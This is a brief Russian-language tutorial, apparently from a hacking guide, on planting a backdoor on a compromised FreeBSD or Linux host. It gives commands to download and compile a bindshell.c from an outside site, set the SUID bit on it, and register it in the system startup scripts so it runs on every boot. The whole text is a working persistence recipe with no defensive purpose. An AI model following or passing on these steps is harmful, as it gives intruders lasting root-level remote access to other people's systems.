1. Сливаем и компилируем bindshell: fetch http://packetstormsecurity.org/advisories/suid/bindshell.c; gcc -o bindshell bindshell.c # если Linux, то сливаем с помощью wget
2. Ставим на него SUID с рутовыми правами: chmod +s bindshell
3. Ставим в автозагрузку, создав в папке /usr/local/etc/rc.d/ (FreeBSD), /etc/init.d/ (Linux) скрипт следующего содержания:
#!/bin/sh
/tmp/bindshell

Всё, бэкдор готов =)